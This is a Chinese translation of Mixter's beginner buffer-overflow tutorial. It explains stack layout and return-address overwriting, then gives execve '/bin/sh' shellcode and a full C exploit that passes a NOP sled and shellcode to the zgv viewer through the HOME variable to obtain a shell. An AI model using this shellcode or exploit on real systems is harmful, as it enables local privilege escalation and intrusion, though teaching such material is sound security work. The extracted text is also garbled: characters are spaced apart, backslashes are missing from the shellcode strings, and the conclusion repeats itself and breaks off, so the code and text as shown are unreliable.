搜索

[8176] 2014-08-06_缓冲区溢出攻击初学者手册（更新版）

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-17
2014-08-06_缓冲区溢出攻击初学者手册（更新版） 缓 冲 区 溢 出 攻 击 初 学 者 手 册 （ 更 新 版 ） I D F _ L a b   F r e e B u f   2 0 1 4 - 0 8 - 0 6 说 明 说 明 之 前 版 本 翻 译 质 量 不 佳 ， 本 人 赵 阳 在 这 里 对 本 文 的 读 者 表 示 深 深 的 歉 意 。 由 于 本 人 的 疏 忽 和 大 意 导 致 您 不 能 很 好 的 读 完 这 篇 文 章 ， 同 时 也 对 原 文 内 容 进 行 了 破 坏 ， 也 对 I D F 和 F r e e B u f 造 成 了 一 定 的 不 良 影 响 。 我 在 这 里 对 大 家 进 行 道 歉 ！ 对 翻 译 文 章 进 行 了 即 时 的 修 改 ， 同 时 感 谢 大 家 的 评 语 ！ 我 会 吸 取 此 次 教 训 ， 保 证 以 后 不 会 在 出 现 类 似 的 事 情 ！ 请 大 家 原 谅 ！ 谢 谢 ！ 以 下 为 正 文 以 下 为 正 文 缓 冲 区 溢 出 会 出 现 在 和 用 户 输 入 相 关 缓 冲 区 内 ， 在 一 般 情 况 下 ， 这 已 经 变 成 了 现 代 计 算 机 和 网 络 方 面 最 大 的 安 全 隐 患 之 一 。 这 是 因 为 在 程 序 的 基 础 上 很 容 易 出 现 这 种 问 题 ， 但 是 这 对 于 不 了 解 或 是 无 法 获 得 源 代 码 的 使 用 者 来 说 是 不 可 能 的 ， 很 多 的 类 似 问 题 就 会 被 利 用 。 本 文 就 的 目 的 就 是 教 会 新 手 特 别 是 C 程 序 员 ， 说 明 怎 么 利 用 这 种 溢 出 环 境 。 -   M i x t e r 1   内 存 内 存 注 ： 我 在 这 里 的 描 述 方 法 为 ： 大 多 数 计 算 机 上 内 存 作 为 进 程 的 组 织 者 ， 但 是 它 依 赖 处 理 器 结 构 的 类 型 。 这 是 一 个 x 8 6 的 例 子 ， 同 时 也 可 以 应 用 在 s p a r c 上 。 缓 冲 区 溢 出 的 攻 击 原 理 是 覆 盖 不 能 重 写 随 机 输 入 和 在 进 程 中 执 行 代 码 的 内 存 。 要 了 解 在 什 么 地 方 和 怎 么 发 生 的 溢 出 ， 就 让 我 们 来 看 下 内 存 是 如 何 组 织 的 。 页 是 使 用 和 它 相 关 地 址 的 内 存 的 一 个 部 分 ， 这 就 意 味 着 内 核 的 进 程 内 存 的 初 始 化 ， 这 就 没 有 必 要 知 道 在 R A M 中 分 配 的 物 理 地 址 。 进 程 内 存 由 下 面 三 个 部 分 组 成 ： 代 码 段 ， 在 这 一 段 代 码 中 的 数 据 是 通 过 处 理 器 中 执 行 的 汇 编 指 令 。 该 代 码 的 执 行 是 非 线 性 的 ， 它 可 以 跳 过 代 码 ， 跳 跃 ， 在 某 种 特 定 情 况 下 调 用 函 数 。 以 此 ， 我 们 使 用 E I P 指 针 ， 或 是 指 针 指 令 。 其 中 E I P 指 向 的 地 址 总 是 包 含 下 一 个 执 行 代 码 。
数 据 段 ， 变 量 空 间 和 动 态 缓 冲 器 。 堆 栈 段 ， 这 是 用 来 给 函 数 传 递 变 量 的 和 为 函 数 变 量 提 供 空 间 。 栈 的 底 部 位 于 每 一 页 的 虚 拟 内 存 的 末 端 ， 同 时 向 下 运 动 。 汇 编 命 令 P U S H L 会 增 加 栈 的 顶 部 ， P O P L 会 从 栈 的 顶 部 移 除 项 目 并 且 把 它 们 放 到 寄 存 器 中 。 为 了 直 接 访 问 栈 寄 存 器 ， 在 栈 的 顶 部 有 栈 顶 指 针 E S P 。 2   函 数 函 数 函 数 是 一 段 代 码 段 的 代 码 ， 它 被 调 用 ， 执 行 一 个 任 务 ， 之 后 返 回 执 行 的 前 一 个 线 程 。 或 是 把 参 数 传 递 给 函 数 ， 通 常 在 汇 编 语 言 中 ， 看 起 来 是 这 样 的 （ 这 是 一 个 很 简 单 的 例 子 ， 只 是 为 了 了 解 一 下 概 念 ） 。 m e m o r y   a d d r e s s c o d e 0 x 8 0 5 4 3 2 1 p u s h l   $ 0 x 0 0 x 8 0 5 4 3 2 2 c a l l   $ 0 x 8 0 5 4 3 a 0   0 x 8 0 5 4 3 2 7 r e t 0 x 8 0 5 4 3 2 8 l e a v e . . . 0 x 8 0 5 4 3 a 0 p o p l   % e a x 0 x 8 0 5 4 3 a 1 a d d l   $ 0 x 1 3 3 7 , % e a x 0 x 8 0 5 4 3 a 4 r e t 这 会 发 生 什 么 ？ 主 函 数 调 用 了 f u n c t i o n ( 0 ) ； 变 量 是 0 ， 主 要 把 它 压 入 栈 中 ， 同 时 调 用 该 函 数 。 函 数 使 用 p o p l 来 获 取 栈 中 的 变 量 。 完 成 后 ， 返 回 0 × 8 0 5 4 3 2 7 。 通 常 情 况 下 ， 主 函 数 要 把 E B P 寄 存 器 压 入 栈 中 ， 这 是 函 数 储 存 的 和 在 结 束 后 在 储 存 的 。 这 就 是 帧 指 针 的 概 念 ， 允 许 函 数 使 用 自 己 的 偏 移 地 址 ， 在 对 付 攻 击 时 就 变 的 很 无 趣 了 。 因 为 函 数 将 不 会 返 回 到 原 有 的 执 行 线 程 。 我 们 只 需 要 知 道 栈 是 什 么 样 的 。 在 顶 部 ， 我 们 有 函 数 的 内 部 缓 冲 区 和 函 数 变 量 。 在 此 之 后 ， 有 保 存 的 E B P 寄 存 器 （ 3 2 位 ， 4 个 字 节 ） ， 然 后 返 回 地 址 ， 是 另 外 的 4 个 字 节 。 再 往 下 ， 还 有 要 传 递 给 函 数 的 参 数 ， 这 对 我 们 来 说 没 有 意 义 。 在 这 种 情 况 下 ， 我 们 返 回 的 地 址 是 0 × 8 0 5 4 3 2 7 。 在 函 数 被 调 用 时 ， 它 就 会 自 动 的 存 储 到 栈 中 。 如 果 代 码 中 存 在 溢 出 的 地 方 ， 这 个 返 回 值 会 被 覆 盖 ， 并 且 指 针 指 向 内 存 中 的 下 一 个 位 置 。 3   一 个 可 以 利 用 的 程 序 实 例 一 个 可 以 利 用 的 程 序 实 例 让 我 们 假 设 我 们 要 利 用 的 函 数 为 ： v o i d   l a m e   ( v o i d )   {   c h a r   s m a l l [ 3 0 ] ;   g e t s   ( s m a l l ) ;   p r i n t f ( " % s n " ,   s m a l l ) ;   } m a i n ( )   {   l a m e   ( ) ;   r e t u r n   0 ;   }   C o m p i l e   a n d   d i s a s s e m b l e   i t : #   c c   - g g d b   b l a h . c   - o   b l a h / t m p / c c a 0 1 7 4 0 1 . o :   I n   f u n c t i o n   ' l a m e ' : / r o o t / b l a h . c : 1 :   t h e   ' g e t s ' ;   f u n c t i o n   i s   d a n g e r o u s   a n d   s h o u l d   n o t   b e   u s e d . #   g d b   b l a h / *   s h o r t   e x p l a n a t i o n :   g d b ,   t h e   G N U   d e b u g g e r   i s   u s e d   h e r e   t o   r e a d   t h e       b i n a r y   f i l e   a n d   d i s a s s e m b l e   i t   ( t r a n s l a t e   b y t e s   t o   a s s e m b l e r   c o d e )   * / ( g d b )   d i s a s   m a i n D u m p   o f   a s s e m b l e r   c o d e   f o r   f u n c t i o n   m a i n :
0 x 8 0 4 8 4 c 8   :               p u s h l     % e b p 0 x 8 0 4 8 4 c 9   :           m o v l       % e s p , % e b p 0 x 8 0 4 8 4 c b   :           c a l l       0 x 8 0 4 8 4 a 0   0 x 8 0 4 8 4 d 0   :           l e a v e 0 x 8 0 4 8 4 d 1   :           r e t   ( g d b )   d i s a s   l a m e D u m p   o f   a s s e m b l e r   c o d e   f o r   f u n c t i o n   l a m e : / *   s a v i n g   t h e   f r a m e   p o i n t e r   o n t o   t h e   s t a c k   r i g h t   b e f o r e   t h e   r e t   a d d r e s s   * / 0 x 8 0 4 8 4 a 0   :               p u s h l     % e b p 0 x 8 0 4 8 4 a 1   :           m o v l       % e s p , % e b p / *   e n l a r g e   t h e   s t a c k   b y   0 x 2 0   o r   3 2 .   o u r   b u f f e r   i s   3 0   c h a r a c t e r s ,   b u t   t h e       m e m o r y   i s   a l l o c a t e d   4 b y t e - w i s e   ( b e c a u s e   t h e   p r o c e s s o r   u s e s   3 2 b i t   w o r d s )       t h i s   i s   t h e   e q u i v a l e n t   t o :   c h a r   s m a l l [ 3 0 ] ;   * / 0 x 8 0 4 8 4 a 3   :           s u b l       $ 0 x 2 0 , % e s p / *   l o a d   a   p o i n t e r   t o   s m a l l [ 3 0 ]   ( t h e   s p a c e   o n   t h e   s t a c k ,   w h i c h   i s   l o c a t e d       a t   v i r t u a l   a d d r e s s   0 x f f f f f f e 0 ( % e b p ) )   o n   t h e   s t a c k ,   a n d   c a l l       t h e   g e t s   f u n c t i o n :   g e t s ( s m a l l ) ;   * / 0 x 8 0 4 8 4 a 6   :           l e a l       0 x f f f f f f e 0 ( % e b p ) , % e a x 0 x 8 0 4 8 4 a 9   :           p u s h l     % e a x 0 x 8 0 4 8 4 a a   :         c a l l       0 x 8 0 4 8 3 e c   0 x 8 0 4 8 4 a f   :         a d d l       $ 0 x 4 , % e s p / *   l o a d   t h e   a d d r e s s   o f   s m a l l   a n d   t h e   a d d r e s s   o f   " % s n "   s t r i n g   o n   s t a c k       a n d   c a l l   t h e   p r i n t   f u n c t i o n :   p r i n t f ( " % s n " ,   s m a l l ) ;   * / 0 x 8 0 4 8 4 b 2   :         l e a l       0 x f f f f f f e 0 ( % e b p ) , % e a x 0 x 8 0 4 8 4 b 5   :         p u s h l     % e a x 0 x 8 0 4 8 4 b 6   :         p u s h l     $ 0 x 8 0 4 8 5 2 c 0 x 8 0 4 8 4 b b   :         c a l l       0 x 8 0 4 8 3 d c   0 x 8 0 4 8 4 c 0   :         a d d l       $ 0 x 8 , % e s p / *   g e t   t h e   r e t u r n   a d d r e s s ,   0 x 8 0 4 8 4 d 0 ,   f r o m   s t a c k   a n d   r e t u r n   t o   t h a t   a d d r e s s .       y o u   d o n ' t   s e e   t h a t   e x p l i c i t l y   h e r e   b e c a u s e   i t   i s   d o n e   b y   t h e   C P U   a s   ' r e t '   * / 0 x 8 0 4 8 4 c 3   :         l e a v e 0 x 8 0 4 8 4 c 4   :         r e t E n d   o f   a s s e m b l e r   d u m p . 3 a   程 序 溢 出 程 序 溢 出 #   . / b l a h x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x < -   u s e r   i n p u t x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x #   . / b l a h x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x   < -   u s e r   i n p u t x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x x S e g m e n t a t i o n   f a u l t   ( c o r e   d u m p e d ) #   g d b   b l a h   c o r e ( g d b )   i n f o   r e g i s t e r s           e a x :               0 x 2 4                     3 6           e c x :     0 x 8 0 4 8 5 2 f       1 3 4 5 1 3 9 6 7           e d x :                 0 x 1                       1           e b x :       0 x 1 1 a 3 c 8           1 1 5 6 0 4 0           e s p :   0 x b f f f f d b 8   - 1 0 7 3 7 4 2 4 0 8           e b p :       0 x 7 8 7 8 7 8           7 8 9 5 1 6 0
E B P 位 于 0 × 7 8 7 8 7 8 ， 这 就 意 味 我 们 已 经 写 入 了 超 出 缓 冲 区 输 入 可 以 控 制 的 范 围 。 0 × 7 8 是 十 六 进 制 的 x 。 该 过 程 有 3 2 个 字 节 的 最 大 的 缓 冲 器 。 我 们 已 经 在 内 存 中 写 入 了 比 用 户 输 入 更 多 的 数 据 ， 因 此 重 写 E B P ， 返 回 值 的 地 址 是 ‘ x x x x ’ ， 这 个 过 程 会 尝 试 在 地 址 0 × 7 8 7 8 7 8 处 重 复 执 行 ， 这 就 会 导 致 段 的 错 误 。 3 b   改 变 返 回 值 地 址 改 变 返 回 值 地 址 让 我 们 尝 试 利 用 这 个 程 序 来 返 回 l a m e ( ) 来 代 替 它 的 返 回 值 ， 我 们 要 改 变 返 回 值 的 地 址 从 0 x 8 0 4 8 4 d 0 到 0 x 8 0 4 8 4 c b ， 在 内 存 中 ， 我 们 有 3 2 字 节 的 缓 冲 区 空 间 ， 4 个 字 节 保 存 E B P ， 4 个 字 节 的 R E T 。 下 面 是 一 个 很 简 单 的 程 序 ， 把 4 个 字 节 的 返 回 地 址 变 成 一 个 1 个 字 节 字 符 缓 冲 区 ： m a i n ( ) { i n t   i = 0 ;   c h a r   b u f [ 4 4 ] ; f o r   ( i = 0 ; i < = 4 0 ; i + = 4 ) * ( l o n g   * )   & b u f [ i ]   =   0 x 8 0 4 8 4 c b ; p u t s ( b u f ) ; } #   r e t Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë ,   #   ( r e t ; c a t ) | . / b l a h t e s t   < -   u s e r   i n p u t Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë Ë , t e s t t e s t   < -   u s e r   i n p u t t e s t 我 们 在 这 里 使 用 这 个 程 序 运 行 了 两 次 这 个 函 数 。 如 果 有 溢 出 存 在 ， 函 数 的 返 回 值 地 址 是 可 以 变 的 ， 从 而 改 变 程 序 的 执 行 线 程 。 4   S h e l l c o d e 为 了 简 单 ， S h e l l c o d e 使 用 简 单 的 汇 编 指 令 ， 我 们 写 在 栈 上 ， 然 后 更 改 返 回 地 址 ， 使 它 返 回 到 栈 内 。 使 用 这 个 方 法 ， 我 们 可 以 把 代 码 插 入 到 一 个 脆 弱 的 进 程 中 ， 然 后 在 栈 中 正 确 的 执 行 它 。 所 以 ， 让 我 们 通 过 插 入 的 汇 编 代 码 来 运 行 一 个 S h e l l 。 一 个 常 见 的 调 用 命 令 是 e x e c v e ( ) ， 它 可 以 加 载 和 运 行 任 意 的 二 进 制 代 码 ， 终 止 当 前 执 行 的 进 程 。 手 册 中 提 供 我 们 的 用 法 为 ： i n t     e x e c v e     ( c o n s t     c h a r     * f i l e n a m e ,   c h a r   * c o n s t   a r g v   [ ] ,   c h a r   * c o n s t   e n v p [ ] ) ;   L e t s   g e t   t h e   d e t a i l s   o f   t h e   s y s t e m   c a l l   f r o m   g l i b c 2 :   #   g d b   / l i b / l i b c . s o . 6 ( g d b )   d i s a s   e x e c v e D u m p   o f   a s s e m b l e r   c o d e   f o r   f u n c t i o n   e x e c v e : 0 x 5 d a 0 0   :               p u s h l     % e b x   / *   t h i s   i s   t h e   a c t u a l   s y s c a l l .   b e f o r e   a   p r o g r a m   w o u l d   c a l l   e x e c v e ,   i t   w o u l d     p u s h   t h e   a r g u m e n t s   i n   r e v e r s e   o r d e r   o n   t h e   s t a c k :   * * e n v p ,   * * a r g v ,   * f i l e n a m e   * / / *   p u t   a d d r e s s   o f   * * e n v p   i n t o   e d x   r e g i s t e r   * / 0 x 5 d a 0 1   :           m o v l       0 x 1 0 ( % e s p , 1 ) , % e d x / *   p u t   a d d r e s s   o f   * * a r g v   i n t o   e c x   r e g i s t e r   * / 0 x 5 d a 0 5   :           m o v l       0 x c ( % e s p , 1 ) , % e c x / *   p u t   a d d r e s s   o f   * f i l e n a m e   i n t o   e b x   r e g i s t e r   * /
0 x 5 d a 0 9   :           m o v l       0 x 8 ( % e s p , 1 ) , % e b x / *   p u t   0 x b   i n   e a x   r e g i s t e r ;   0 x b   = =   e x e c v e   i n   t h e   i n t e r n a l   s y s t e m   c a l l   t a b l e   * / 0 x 5 d a 0 d   :         m o v l       $ 0 x b , % e a x / *   g i v e   c o n t r o l   t o   k e r n e l ,   t o   e x e c u t e   e x e c v e   i n s t r u c t i o n   * / 0 x 5 d a 1 2   :         i n t         $ 0 x 8 0   0 x 5 d a 1 4   :         p o p l       % e b x 0 x 5 d a 1 5   :         c m p l       $ 0 x f f f f f 0 0 1 , % e a x 0 x 5 d a 1 a   :         j a e         0 x 5 d a 1 d   < _ _ s y s c a l l _ e r r o r > 0 x 5 d a 1 c   :         r e t 结 束 汇 编 转 存 。 4 a   使 代 码 可 移 植 使 代 码 可 移 植 传 统 方 式 中 ， 我 们 必 须 应 用 一 个 策 略 在 内 存 中 完 成 没 有 指 导 参 数 的 S h e l l c o d e ， 通 过 给 予 它 们 在 页 存 储 上 的 精 确 位 置 ， 这 只 能 在 编 译 中 完 成 。 一 旦 我 们 估 计 了 s h e l l c o d e 的 大 小 ， 我 们 能 够 使 用 指 令 j m p 和 c a l l 在 执 行 线 程 向 前 或 向 后 到 达 指 定 的 字 节 。 为 什 么 使 用 c a l l ？ c a l l 会 自 动 的 在 栈 内 存 储 和 返 回 地 址 ， 这 个 返 回 地 址 是 在 下 一 个 c a l l 指 令 后 的 4 个 字 节 。 在 c a l l 运 行 后 放 置 一 个 正 确 的 变 量 ， 我 们 间 接 的 把 地 址 压 进 了 栈 中 ， 没 有 必 要 了 解 它 。 0       j m p             ( s k i p   Z   b y t e s   f o r w a r d ) 2       p o p l   % e s i . . .   p u t   f u n c t i o n ( s )   h e r e   . . . Z       c a l l   < - Z + 2 >   ( s k i p   2   l e s s   t h a n   Z   b y t e s   b a c k w a r d ,   t o   P O P L ) Z + 5   . s t r i n g           ( f i r s t   v a r i a b l e ) （ 注 ： 如 果 你 要 写 的 代 码 比 一 个 简 单 的 s h e l l 还 要 复 杂 ， 你 可 以 多 次 使 用 上 面 的 代 码 。 字 符 串 放 在 代 码 的 后 面 。 你 知 道 这 些 字 符 串 的 大 小 ， 因 此 一 旦 你 知 道 第 一 个 字 符 串 的 位 置 ， 就 可 以 计 算 他 们 的 相 对 位 置 。 ） 4 b   S h e l l c o d e g l o b a l   c o d e _ s t a r t / *   w e ' ; l l   n e e d   t h i s   l a t e r ,   d o n t   m i n d   i t   * / g l o b a l   c o d e _ e n d . d a t a c o d e _ s t a r t : j m p     0 x 1 7 p o p l   % e s i m o v l   % e s i , 0 x 8 ( % e s i ) / *   p u t   a d d r e s s   o f   * * a r g v   b e h i n d   s h e l l c o d e ,       0 x 8   b y t e s   b e h i n d   i t   s o   a   / b i n / s h   h a s   p l a c e   * / x o r l   % e a x , % e a x / *   p u t   0   i n   % e a x   * / m o v b   % e a x , 0 x 7 ( % e s i ) / *   p u t   t e r m i n a t i n g   0   a f t e r   / b i n / s h   s t r i n g   * / m o v l   % e a x , 0 x c ( % e s i ) / *   a n o t h e r   0   t o   g e t   t h e   s i z e   o f   a   l o n g   w o r d   * / m y _ e x e c v e : m o v b   $ 0 x b , % a l / *   e x e c v e (                   * / m o v l   % e s i , % e b x / *   " / b i n / s h " ,             * / l e a l   0 x 8 ( % e s i ) , % e c x / *   &   o f   " / b i n / s h " ,   * / x o r l   % e d x , % e d x / *   N U L L       * / i n t   $ 0 x 8 0 / *   ) ;       * / c a l l   - 0 x 1 c . s t r i n g   " / b i n / s h X " / *   X   i s   o v e r w r i t t e n   b y   m o v b   % e a x , 0 x 7 ( % e s i )   * /
c o d e _ e n d : （ 通 过 0 × 0 相 对 偏 移 了 0 × 1 7 和 - 0 x 1 c ， 编 译 ， 反 汇 编 ， 看 看 s h e l l 代 码 的 大 小 。 ） 这 是 一 个 正 在 运 行 着 的 s h e l l c o d e ， 虽 然 很 小 。 你 至 少 要 反 汇 编 e x i t ( ) 来 调 用 和 依 附 它 （ 在 调 用 之 前 ） 。 完 成 s h e l l c o d e 的 正 真 的 意 义 还 包 括 避 免 任 何 二 进 制 0 代 码 和 修 改 它 ， 二 进 制 代 码 不 包 含 控 制 和 小 写 字 符 ， 这 将 会 过 滤 掉 一 些 问 题 程 序 。 大 多 数 是 通 过 自 己 修 改 代 码 来 完 成 的 ， 如 我 们 使 用 的 m o v   % e a x , 0 × 7 ( % e s i ) 指 令 。 我 们 用 来 取 代 X ， 但 是 在 s h e l l c o d e 初 始 化 中 没 有 。 让 我 们 测 试 下 这 些 代 码 ， 把 上 面 的 代 码 保 存 为 c o d e . S 同 时 把 下 面 的 文 件 保 存 为 c o d e . c ： e x t e r n   v o i d   c o d e _ s t a r t ( ) ; e x t e r n   v o i d   c o d e _ e n d ( ) ; # i n c l u d e   < s t d i o . h > m a i n ( )   {   ( ( v o i d   ( * ) ( v o i d ) )   c o d e _ s t a r t ) ( ) ;   }   #   c c   - o   c o d e   c o d e . S   c o d e . c #   . / c o d e b a s h # 现 在 你 可 以 把 s h e l l c o d e 转 移 到 1 6 进 制 字 符 缓 冲 区 。 最 好 的 方 法 就 是 把 它 打 印 出 来 ： # i n c l u d e   < s t d i o . h > e x t e r n   v o i d   c o d e _ s t a r t ( ) ;   e x t e r n   v o i d   c o d e _ e n d ( ) ; m a i n ( )   {   f p r i n t f ( s t d e r r , " % s " , c o d e _ s t a r t ) ; 通 过 使 用 a c o n v   – h 或 b i n 2 c . p l 来 解 析 它 ， 可 以 在 h t t p : / / w w w . d e c . n e t / ~ d h g 或 是 h t t p : / / m e m b e r s . t r i p o d . c o m / m i x t e r s e c u r i t y 上 找 到 工 具 。 5   写 一 个 利 用 写 一 个 利 用 让 我 们 看 看 如 何 把 返 回 地 址 指 向 的 s h e l l c o d e 进 行 压 栈 ， 写 了 一 个 简 单 的 例 子 。 我 们 将 要 采 用 z g v ， 因 为 这 是 可 以 利 用 的 一 个 最 简 单 的 方 法 。 #   e x p o r t   H O M E = ` p e r l   - e   ' ; p r i n t f   " a "   x   2 0 0 0 ' ' #   z g v S e g m e n t a t i o n   f a u l t   ( c o r e   d u m p e d ) #   g d b   / u s r / b i n / z g v   c o r e # 0     0 x 6 1 6 1 6 1 6 1   i n   ? ?   ( ) ( g d b )   i n f o   r e g i s t e r   e s p           e s p :   0 x b f f f f 5 7 4   - 1 0 7 3 7 4 4 5 2 4 那 么 ， 在 故 障 时 间 时 在 栈 顶 ， 安 全 的 假 设 是 我 们 能 够 使 用 这 作 为 我 们 s h e l l c o d e 的 返 回 地 址 。 现 在 我 们 要 在 我 们 的 缓 冲 区 前 增 加 一 些 N O P 指 令 ， 所 以 我 们 没 有 必 要 关 注 对 于 内 存 中 的 精 确 开 始 我 们 s h e l l c o d e 预 测 的 1 0 0 % 正 确 。 这 个 函 数 将 会 在 我 们 的 s h e l l c o d e 之 前 返 回 到 栈 ， 通 过 使 用 N O P s 的 方 式 来 初 始 化 J M P 命 令 ， 跳 转 到 C A L L ， 跳 转 到 p o p l ， 在 栈 中 运 行 我 们 的 代 码 。 记 住 ， 栈 是 这 样 的 。 在 最 低 级 的 内 存 地 址 ， E S P 指 向 栈 的 顶 部 ， 初 始 变 量 被 储 存 ， 即 缓 冲 器 中 的 z g v 储 存 了 H O M E 环 境 变 量 。 在 那 之 后 ， 我 们 保 存 了 E B P 和 前 一 个 函 数 的 返 回 地 址 。 我 们 必 须 要 写 8 个 字 节 或 是 更 多 在 缓 冲 区 后 面 ， 用 栈 中 的 新 的 地 址 来 覆 盖 返 回 地 址 。 Z g v 的 缓 冲 器 有 1 0 2 4 个 字 节 。 你 可 以 通 过 扫 视 代 码 来 发 现 ， 或 是 通 过 在 脆 弱 的 函 数 中 搜 索 初 始 化 的 s u b l   $ 0 × 4 0 0 , % e s p ( = 1 0 2 4 ) 。 我 们 可 以 把 这 些 放 在 一 起 来 利 用 。 5 a   z g v 攻 击 实 例 攻 击 实 例 / *                                       z g v   v 3 . 0   e x p l o i t   b y   M i x t e r
                    b u f f e r   o v e r f l o w   t u t o r i a l   -   h t t p : / / 1 3 3 7 . t s x . o r g                   s a m p l e   e x p l o i t ,   w o r k s   f o r   e x a m p l e   w i t h   p r e c o m p i l e d         r e d h a t   5 . x / s u s e   5 . x / r e d h a t   6 . x / s l a c k w a r e   3 . x   l i n u x   b i n a r i e s   * /   # i n c l u d e   < s t d i o . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s t d l i b . h >   / *   T h i s   i s   t h e   m i n i m a l   s h e l l c o d e   f r o m   t h e   t u t o r i a l   * / s t a t i c   c h a r   s h e l l c o d e [ ] = " x e b x 1 7 x 5 e x 8 9 x 7 6 x 0 8 x 3 1 x c 0 x 8 8 x 4 6 x 0 7 x 8 9 x 4 6 x 0 c x b 0 x 0 b x 8 9 x f 3 x 8 d " " x 4 e x 0 8 x 3 1 x d 2 x c d x 8 0 x e 8 x e 4 x f f x f f x f f x 2 f x 6 2 x 6 9 x 6 e x 2 f x 7 3 x 6 8 x 5 8 " ;   # d e f i n e   N O P           0 x 9 0 # d e f i n e   L E N           1 0 3 2 # d e f i n e   R E T           0 x b f f f f 5 7 4   i n t   m a i n ( ) { c h a r   b u f f e r [ L E N ] ; l o n g   r e t a d d r   =   R E T ; i n t   i ;   f p r i n t f ( s t d e r r , " u s i n g   a d d r e s s   0 x % l x n " , r e t a d d r ) ;   / *   t h i s   f i l l s   t h e   w h o l e   b u f f e r   w i t h   t h e   r e t u r n   a d d r e s s ,   s e e   3 b )   * / f o r   ( i = 0 ; i < L E N ; i + = 4 )       * ( l o n g   * ) & b u f f e r [ i ]   =   r e t a d d r ;   / *   t h i s   f i l l s   t h e   i n i t i a l   b u f f e r   w i t h   N O P ' s ,   1 0 0   c h a r s   l e s s   t h a n   t h e       b u f f e r   s i z e ,   s o   t h e   s h e l l c o d e   a n d   r e t u r n   a d d r e s s   f i t s   i n   c o m f o r t a b l y   * / f o r   ( i = 0 ; i < L E N - s t r l e n ( s h e l l c o d e ) - 1 0 0 ) ; i + + )       * ( b u f f e r + i )   =   N O P ;   / *   a f t e r   t h e   e n d   o f   t h e   N O P s ,   w e   c o p y   i n   t h e   e x e c v e ( )   s h e l l c o d e   * / m e m c p y ( b u f f e r + i , s h e l l c o d e , s t r l e n ( s h e l l c o d e ) ) ;   / *   e x p o r t   t h e   v a r i a b l e ,   r u n   z g v   * /   s e t e n v ( " H O M E " ,   b u f f e r ,   1 ) ; e x e c l p ( " z g v " , " z g v " , N U L L ) ; r e t u r n   0 ; }   / *   E O F   * /   W e   n o w   h a v e   a   s t r i n g   l o o k i n g   l i k e   t h i s :   [   . . .   N O P   N O P   N O P   N O P   N O P   J M P   S H E L L C O D E   C A L L   / b i n / s h   R E T   R E T   R E T   R E T   R E T   R E T   ]   W h i l e   z g v ' s   s t a c k   l o o k s   l i k e   t h i s :   v - -   0 x b f f f f 5 7 4   i s   h e r e [           S       M       A       L       L       B       U       F       F       E       R       ]   [ S A V E D   E B P ]   [ O R I G I N A L   R E T ]   T h e   e x e c u t i o n   t h r e a d   o f   z g v   i s   n o w   a s   f o l l o w s :   m a i n   . . .   - >   f u n c t i o n ( )   - >   s t r c p y ( s m a l l b u f f e r , g e t e n v ( " H O M E " ) ) ; 此 时 ， z g v 做 不 到 边 界 检 查 ， 写 入 超 出 了 s m a l l b u f f e r ， 返 回 到 m a i n 的 地 址 被 栈 中 的 返 回 地 址 覆 盖 。 f u n c t i o n ( ) 离 不 开 /   r e t 和 栈 中 E I P 指 针 。 0 x b f f f f 5 7 4   n o p 0 x b f f f f 5 7 5   n o p 0 x b f f f f 5 7 6   n o p 0 x b f f f f 5 7 7   j m p   $ 0 x 2 4                                         1
0 x b f f f f 5 7 9   p o p l   % e s i                     3   < - -         | [ . . .   s h e l l c o d e   s t a r t s   h e r e   . . . ]         |         | 0 x b f f f f 5 9 b   c a l l   - $ 0 x 1 c                           2   < - - / 0 x b f f f f 5 9 e   . s t r i n g   " / b i n / s h X " 让 我 们 来 测 试 这 个 应 用 #   c c   - o   z g x   z g x . c #   . / z g x u s i n g   a d d r e s s   0 x b f f f f 5 7 4 b a s h # 5 b   编 写 攻 击 的 进 一 步 提 示 编 写 攻 击 的 进 一 步 提 示 有 很 多 可 以 被 利 用 的 程 序 ， 但 尽 管 很 脆 弱 。 但 是 这 有 很 多 的 技 巧 ， 你 可 以 通 过 过 滤 等 方 式 。 还 有 其 他 的 溢 出 技 术 ， 这 并 不 一 定 要 包 括 改 变 返 回 地 址 或 只 是 返 回 地 址 。 有 指 针 溢 出 ， 函 数 分 配 的 指 针 能 够 通 过 一 个 数 据 流 来 覆 盖 ， 改 变 程 序 执 行 的 流 程 。 利 用 返 回 地 址 指 向 s h e l l 环 境 指 针 ， s h e l l c o d e 位 于 那 里 ， 而 不 是 在 栈 上 。 对 于 一 个 熟 练 掌 握 s h e l l c o d e 的 人 来 说 最 根 本 上 的 是 自 己 修 改 代 码 ， 最 基 本 的 包 含 可 以 打 印 ， 非 白 色 的 大 写 字 母 ， 然 后 修 改 自 己 它 ， 把 s h e l l c o d e 函 数 放 在 要 执 行 的 栈 上 。 在 你 的 s h e l l 代 码 里 不 会 有 任 何 二 进 制 零 ， 因 为 如 果 它 包 含 了 就 可 能 无 法 正 常 的 工 作 。 但 是 讨 论 怎 么 升 华 某 种 汇 编 指 令 与 其 他 的 命 令 超 出 了 本 文 的 范 围 。 我 也 建 议 读 其 他 大 数 据 流 ， 通 过 a l e p h 1 ， T a e o h   O h 和 m u d g e 来 写 的 。 5 c   重 要 注 意 事 项 重 要 注 意 事 项 你 将 不 能 在 W i n d o w s   或 是 M a c i n t o s h 上 使 用 这 个 教 程 ， 不 要 和 我 要 c c . e x e 和 g d b . e x e 。 6   结 论 结 论 我 们 已 经 知 道 ， 一 旦 用 户 依 赖 存 在 的 溢 出 ， 这 就 会 用 去 9 0 % 的 时 间 ， 即 使 利 用 起 来 有 困 难 ， 同 时 要 有 一 些 技 能 。 为 什 么 写 这 个 攻 击 很 重 要 呢 ？ 因 为 软 件 企 业 是 未 知 的 。 在 软 件 缓 冲 区 溢 出 方 面 的 漏 洞 的 报 告 已 经 有 了 ， 虽 然 这 些 软 件 没 有 更 在 软 件 缓 冲 区 溢 出 方 面 的 漏 洞 的 报 告 已 经 有 了 ， 虽 然 这 些 软 件 没 有 更 新 ， 或 是 大 多 数 用 户 没 有 更 新 ， 因 为 这 个 漏 洞 很 难 被 利 用 ， 没 有 人 认 为 这 会 成 为 一 个 安 全 隐 患 。 然 后 ， 漏 洞 出 现 新 ， 或 是 大 多 数 用 户 没 有 更 新 ， 因 为 这 个 漏 洞 很 难 被 利 用 ， 没 有 人 认 为 这 会 成 为 一 个 安 全 隐 患 